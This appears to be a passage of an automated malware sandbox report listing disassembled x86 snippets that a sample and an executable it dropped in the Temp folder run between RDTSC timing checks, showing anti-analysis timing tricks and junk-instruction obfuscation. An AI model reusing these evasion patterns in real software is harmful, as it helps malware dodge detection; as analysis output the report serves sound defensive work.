Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80878 second address: 4A8001E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F0ACC5107F4h 0x00000012 add eax, 3FC61E38h 0x00000018 jmp 00007F0ACC5107EBh 0x0000001d popfd 0x0000001e push eax 0x0000001f pushfd 0x00000020 jmp 00007F0ACC5107EFh 0x00000025 adc ax, 0BFEh 0x0000002a jmp 00007F0ACC5107F9h 0x0000002f popfd 0x00000030 pop ecx 0x00000031 popad 0x00000032 je 00007F0B3D52E55Eh 0x00000038 xor eax, eax 0x0000003a jmp 00007F0ACC4E9F1Ah 0x0000003f pop esi 0x00000040 pop edi 0x00000041 pop ebx 0x00000042 leave 0x00000043 retn 0004h 0x00000046 nop 0x00000047 xor ebx, ebx 0x00000049 cmp eax, 00000000h 0x0000004c je 00007F0ACC510943h 0x00000052 call 00007F0AD0E7DC6Dh 0x00000057 mov edi, edi 0x00000059 jmp 00007F0ACC5107F5h 0x0000005e xchg eax, ebp 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8001E second address: 4A80022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80022 second address: 4A80035 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80035 second address: 4A80061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0ACCE7DA2Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80061 second address: 4A80094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov ebx, 03A2BDB0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F0ACC5107EFh 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0ACC5107F0h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80094 second address: 4A80098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80098 second address: 4A8009E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8009E second address: 4A800DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov al, bl 0x0000000f pushfd 0x00000010 jmp 00007F0ACCE7DA36h 0x00000015 xor ax, A2B8h 0x0000001a jmp 00007F0ACCE7DA2Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A800DF second address: 4A8011E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0ACC5107F1h 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 jmp 00007F0ACC5107ECh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A8011E second address: 4A80138 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edi, 64D69966h 0x00000017 mov bl, E5h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A801AA second address: 4A801AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80DA0 second address: 4A80DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80DA5 second address: 4A80DD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ch, 67h 0x0000000f jmp 00007F0ACC5107EFh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80DD4 second address: 4A80DF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A80DF7 second address: 4A80E49 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 0C613C2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, 6C4Bh 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov di, cx 0x00000014 pushfd 0x00000015 jmp 00007F0ACC5107F8h 0x0000001a or si, D888h 0x0000001f jmp 00007F0ACC5107EBh 0x00000024 popfd 0x00000025 popad 0x00000026 cmp dword ptr [75AF459Ch], 05h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov edi, 26023CF6h 0x00000035 mov cx, dx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A9002C second address: 4A90032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90032 second address: 4A90036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90036 second address: 4A90059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 56FA8702h 0x0000000d pushad 0x0000000e mov ecx, 1DEB1EB9h 0x00000013 mov cl, EDh 0x00000015 popad 0x00000016 add dword ptr [esp], 1EB41526h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90059 second address: 4A90073 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90073 second address: 4A900DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0ACCE7DA31h 0x00000009 sub si, 57E6h 0x0000000e jmp 00007F0ACCE7DA31h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F0ACCE7DA30h 0x0000001a adc al, FFFFFF88h 0x0000001d jmp 00007F0ACCE7DA2Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 call 00007F0B3DE834D6h 0x0000002b push 75A92B70h 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov eax, dword ptr [esp+10h] 0x0000003b mov dword ptr [esp+10h], ebp 0x0000003f lea ebp, dword ptr [esp+10h] 0x00000043 sub esp, eax 0x00000045 push ebx 0x00000046 push esi 0x00000047 push edi 0x00000048 mov eax, dword ptr [75AF4538h] 0x0000004d xor dword ptr [ebp-04h], eax 0x00000050 xor eax, ebp 0x00000052 push eax 0x00000053 mov dword ptr [ebp-18h], esp 0x00000056 push dword ptr [ebp-08h] 0x00000059 mov eax, dword ptr [ebp-04h] 0x0000005c mov dword ptr [ebp-04h], FFFFFFFEh 0x00000063 mov dword ptr [ebp-08h], eax 0x00000066 lea eax, dword ptr [ebp-10h] 0x00000069 mov dword ptr fs:[00000000h], eax 0x0000006f ret 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F0ACCE7DA35h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A900DE second address: 4A90176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0ACC5107F7h 0x00000009 or ax, 9D2Eh 0x0000000e jmp 00007F0ACC5107F9h 0x00000013 popfd 0x00000014 mov si, 83B7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b sub esi, esi 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F0ACC5107F9h 0x00000024 sub ax, AC16h 0x00000029 jmp 00007F0ACC5107F1h 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007F0ACC5107EEh 0x00000037 xor esi, 667C9038h 0x0000003d jmp 00007F0ACC5107EBh 0x00000042 popfd 0x00000043 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90176 second address: 4A901AF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0ACCE7DA38h 0x00000008 sub eax, 16448A98h 0x0000000e jmp 00007F0ACCE7DA2Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov dword ptr [ebp-1Ch], esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A901AF second address: 4A901B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A901B3 second address: 4A901CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A9022F second address: 4A90259 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp+08h], 00002000h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90259 second address: 4A9025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A9025D second address: 4A90261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90261 second address: 4A90267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90D25 second address: 4A90D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90D2B second address: 4A90D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90D2F second address: 4A90D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F0ACC5107F0h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90D50 second address: 4A90D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90D56 second address: 4A90DBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0ACC5107EBh 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0ACC5107EBh 0x00000019 sbb si, 20AEh 0x0000001e jmp 00007F0ACC5107F9h 0x00000023 popfd 0x00000024 call 00007F0ACC5107F0h 0x00000029 pop eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90DBB second address: 4A90E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 pushfd 0x00000007 jmp 00007F0ACCE7DA2Ah 0x0000000c add esi, 1F124D58h 0x00000012 jmp 00007F0ACCE7DA2Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov esi, dword ptr [ebp+0Ch] 0x0000001e jmp 00007F0ACCE7DA36h 0x00000023 test esi, esi 0x00000025 jmp 00007F0ACCE7DA30h 0x0000002a je 00007F0B3DE7AFD1h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F0ACCE7DA2Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90E20 second address: 4A90E2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90E2F second address: 4A90E68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 pushad 0x00000011 push ecx 0x00000012 movsx edi, si 0x00000015 pop eax 0x00000016 mov bl, F3h 0x00000018 popad 0x00000019 je 00007F0B3DE93061h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90E68 second address: 4A90E6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90F07 second address: 4A90F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90F0B second address: 4A90F11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90F11 second address: 4A90F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACCE7DA2Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 4A90F20 second address: 4A90F24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9159B8 second address: 9159BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 915CAE second address: 915CBF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0ACC5107ECh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 915F81 second address: 915F8B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0ACCE7DA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 915F8B second address: 915F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 915F91 second address: 915F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 915F97 second address: 915F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 915F9B second address: 915FC4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0ACCE7DA2Bh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0ACCE7DA33h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919552 second address: 919568 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0ACC5107ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919568 second address: 91956F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 91956F second address: 919575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919575 second address: 919579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919579 second address: 9195B1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jc 00007F0ACC5107FCh 0x00000016 jmp 00007F0ACC5107F6h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jns 00007F0ACC5107ECh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9195B1 second address: 9195B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9195B5 second address: 9195DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edx 0x0000000e je 00007F0ACC5107ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919668 second address: 9196D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007F0ACCE7DA2Ch 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F0ACCE7DA28h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 add dword ptr [ebp+122D232Fh], edx 0x0000002d push 00000000h 0x0000002f movzx edx, cx 0x00000032 call 00007F0ACCE7DA29h 0x00000037 pushad 0x00000038 push esi 0x00000039 jnp 00007F0ACCE7DA26h 0x0000003f pop esi 0x00000040 pushad 0x00000041 push esi 0x00000042 pop esi 0x00000043 jng 00007F0ACCE7DA26h 0x00000049 popad 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 pop edx 0x00000051 pop edx 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b pop edx 0x0000005c rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9196D6 second address: 9196DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9196DC second address: 9196E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0ACCE7DA26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9196E6 second address: 91978E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnc 00007F0ACC5107F2h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jmp 00007F0ACC5107F2h 0x0000001d pop eax 0x0000001e mov edx, dword ptr [ebp+122D2CB7h] 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F0ACC5107E8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 cld 0x00000041 mov ecx, dword ptr [ebp+122D29EFh] 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007F0ACC5107E8h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 0000001Ch 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 and si, 6334h 0x00000068 push 00000003h 0x0000006a sbb di, A0C3h 0x0000006f push A3BC9210h 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 pushad 0x00000078 popad 0x00000079 jnp 00007F0ACC5107E6h 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 91978E second address: 9197C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0ACCE7DA35h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 63BC9210h 0x00000012 mov dword ptr [ebp+122D296Bh], edi 0x00000018 lea ebx, dword ptr [ebp+1244F485h] 0x0000001e movzx edi, ax 0x00000021 push eax 0x00000022 pushad 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9197C4 second address: 9197CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9198C7 second address: 9198CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9199A2 second address: 9199AF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9199AF second address: 9199FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0ACCE7DA26h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F0ACCE7DA36h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push esi 0x00000017 jl 00007F0ACCE7DA28h 0x0000001d pushad 0x0000001e popad 0x0000001f pop esi 0x00000020 mov eax, dword ptr [eax] 0x00000022 jno 00007F0ACCE7DA2Eh 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9199FA second address: 9199FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9199FE second address: 919A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
